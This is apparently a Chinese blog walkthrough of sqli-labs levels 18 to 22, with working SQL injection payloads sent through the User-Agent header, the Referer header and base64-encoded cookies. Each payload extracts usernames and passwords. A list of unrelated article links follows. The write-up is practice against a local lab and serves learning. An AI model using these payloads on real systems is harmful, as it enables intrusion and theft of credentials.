【sqli-labs】Less18~Less22
Less18: User-Agent注入,有错误回显
感叹一句,越来越难了。现在只能先看代码再分析怎么注入了.....
通过代码,发现username和password均做了校验。但是会有一个插入user-agent的sql语句。故要通过user-agent注入。
用户名密码就假设已知为admin/admin了。
还是用updatexml函数,用Burp Suite更改user-agent字段为:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a
显示报错:XPATH syntax error: '~Dumb:Dumb'
Less19:
与Less18几乎一模一样,就是注入位置变为Referer了
修改Referer为:
http://127.0.0.1/sqli-labs-master/Less-19/' or updatexml(0,concat(0x7e, (select a from (select concat(username,':',password) a from users limit 0,1)x)),1)) -- a
Less20: Cookie注入,有回显
这个开始看了半天没看懂....后来发现原来少看了最前面那个判断是否有cookie的if。
代码逻辑是,如果没有cookie,则生成cookie;如果有cookie则显示cookie相关的信息。
代码中设置cookie时用到的用户名和密码都是有检查的,无法注入。所以要从已有cookie时的查询语句入手。
SELECT * FROM users WHERE username='$cookee' LIMIT 0,1
看到就是普通的select语句,可以直接通过闭合注入。
此外还要知道cookie的格式,从代码中可以看到setcookie('uname', $cookee, time()+3600); 键是uname
故通过Burp suite添加cookie
uname=' union select 1, group_concat(concat(username,':',password)),3 from users -- a
注意,我们并不需要知道真实的用户名和密码,直接通过构造cookie就可以获取数据了。
Less21:Cookie注入,有回显,base64编码
与20的区别是对cookie值用base64进行了编码。故需要将注入语句
') union select 1, group_concat(concat(username,':',password)),3 from users -- a
进行编码,具体Cookie处注入
uname=JykgdW5pb24gc2VsZWN0IDEsIGdyb3VwX2NvbmNhdChjb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSksMyBmcm9tIHVzZXJzIC0tIGE=
Less22:Cookie注入,有回显,base64编码
其实就是把之前的单引号换成双引号了。
明文:
" union select 1, group_concat(concat(username,':',password)),3 from users -- a
base64编码的注入信息:
uname=IiB1bmlvbiBzZWxlY3QgMSwgZ3JvdXBfY29uY2F0KGNvbmNhdCh1c2VybmFtZSwnOicscGFzc3dvcmQpKSwzIGZyb20gdXNlcnMgLS0gYQ==
另外提供一个updatexml报错版本
练习用的,想一次性获取所有数据失败了,无法显示那么长的信息,只显示了一截。还是要一条一条的获取。另外用updatexml时在写注入语句的时候前面要加个0x7e,即~符号,可以使信息更加完整。
" or updatexml(1, concat(0x7e,(select a from (select group_concat(concat(username,':',password)) a from users)x),0x7e),0) -- a
base64编码
uname=IiBvciB1cGRhdGV4bWwoMSwgY29uY2F0KDB4N2UsKHNlbGVjdCBhIGZyb20gKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0KHVzZXJuYW1lLCc6JyxwYXNzd29yZCkpIGEgZnJvbSB1c2Vycyl4KSwweDdlKSwwKSAtLSBh
【sqli-labs】Less18~Less22的更多相关文章
- 【SEED Labs】Public-Key Infrastructure (PKI) Lab
Lab Overview 公钥加密是当今安全通信的基础,但当通信的一方向另一方发送其公钥时,它会受到中间人的攻击.根本的问题是,没有简单的方法来验证公钥的所有权,即,给定公钥及其声明的所有者信息,如何 ...
- 【SEED Labs】DNS Rebinding Attack Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/DNS_Rebinding/ 在这个实验中模拟的物联网设备 ...
- 【SEED Labs】TCP Attacks Lab
Lab Overview 实验环境下载:https://seedsecuritylabs.org/Labs_16.04/Networking/TCP_Attacks/ 本实验涵盖以下课题: • TCP ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- 【移动端】300ms延迟以及点透事件原因以及解决方案
产生原因 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击 说完移动端点击300ms延迟的问题,还不得不提一下移动端点击穿透的 ...
- Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】
Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...
- SQLi_Labs通关文档【1-65关】
SQLi_Labs通关文档[1-65关] 为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令 docker pull acgpiano/sqli-labs ...
- 【AR实验室】mulberryAR : ORBSLAM2+VVSION
本文转载请注明出处 —— polobymulberry-博客园 0x00 - 前言 mulberryAR是我业余时间弄的一个AR引擎,目前主要支持单目视觉SLAM+3D渲染,并且支持iOS端,但是该引 ...
- 【.net 深呼吸】细说CodeDom(1):结构大观
CodeDom 是啥东东?Html Dom听过吧,XML Dom听过吧.DOM一般可翻译为 文档对象模型,那 Code + DOM呢,自然是指代码文档模型了.如果你从来没接触过 CodeDom,你大概 ...
随机推荐
- python 的基础 学习 第六天 基础数据类型的操作方法 字典
1,字典 字典是python中唯一的映射类型,采用键值对(key-value)的形式存储数据.python对key进行哈希函数运算,根据计算的结果决定value的存储地址,所以字典是无序存储的,且ke ...
- ES6走一波 字符串的扩展
ES6字符串扩展: 处理大码点字符 字符的Unicode表示法 \uxxxx表示一个字符串,超出 \u0000 ~ \uffff范围,必须用两个双字节形式表示. ES6改进为 将码点放到大括号 可正确 ...
- linux udp 函数说明
int recvfrom(int sockfd,void *buf, int len, unsigned int flags, struct sockaddr *from, int *fromlen) ...
- maven(一) 一 修改仓库存放路径
一.修改仓库存放路径 maven默认的仓库是在C盘下的,这样当重新装系统的时候,仓库就要重新建了.因此可以修改默认存放的位置. 修改仓库的地址在maven安装包(即apache-maven-bin)下 ...
- 启动项目时,mapper.xml文件没有导入
原因分析:绑定的statement没有发现,原因是只有mapper接口的java文件,没有xml文件 解决方法:需要在pom文件中进行配置 <!-- 如果不添加此节点mybatis的mapper ...
- 第三节,CNN案例-mnist手写数字识别
卷积:神经网络不再是对每个像素做处理,而是对一小块区域的处理,这种做法加强了图像信息的连续性,使得神经网络看到的是一个图像,而非一个点,同时也加深了神经网络对图像的理解,卷积神经网络有一个批量过滤器, ...
- tp5.0 结合 Redis Cache缓存风暴
方法介绍 1.sadd() 描述:为一个Key添加一个值.如果这个值已经在这个Key中,则返回FALSE. 参数:key value 返回值:成功返回true,失败false 2.delete() ...
- 20165325 2017-2018-2 《Java程序设计》 第八周学习总结
一.教材学习笔记 ch12 1.程序是一段静态的代码,进程是程序的一次动态执行过程 2.线程比进程还小,一个进程的进行期间可以产生多个线程. 3.Java内置对多线程的支持.我们的计算机在任何给定说的 ...
- Jquery的一些常见用法
谨以此文怀念我们大学的时光,Jquery3.4.0下载 https://code.jquery.com/jquery-3.4.0.min.js ⒈常用方法 $("#div1").h ...
- python3+selenium框架设计02-自动化测试框架需要什么
什么是自动化测试框架 自动化测试框架能够提供便利给用户高效完成一些事情,比如,结构清晰开发脚本,多种方式.平台执行脚本,良好的日志和报告去跟踪脚本执行结果. 关于自动化测试框架的定义有很多,在我大致理 ...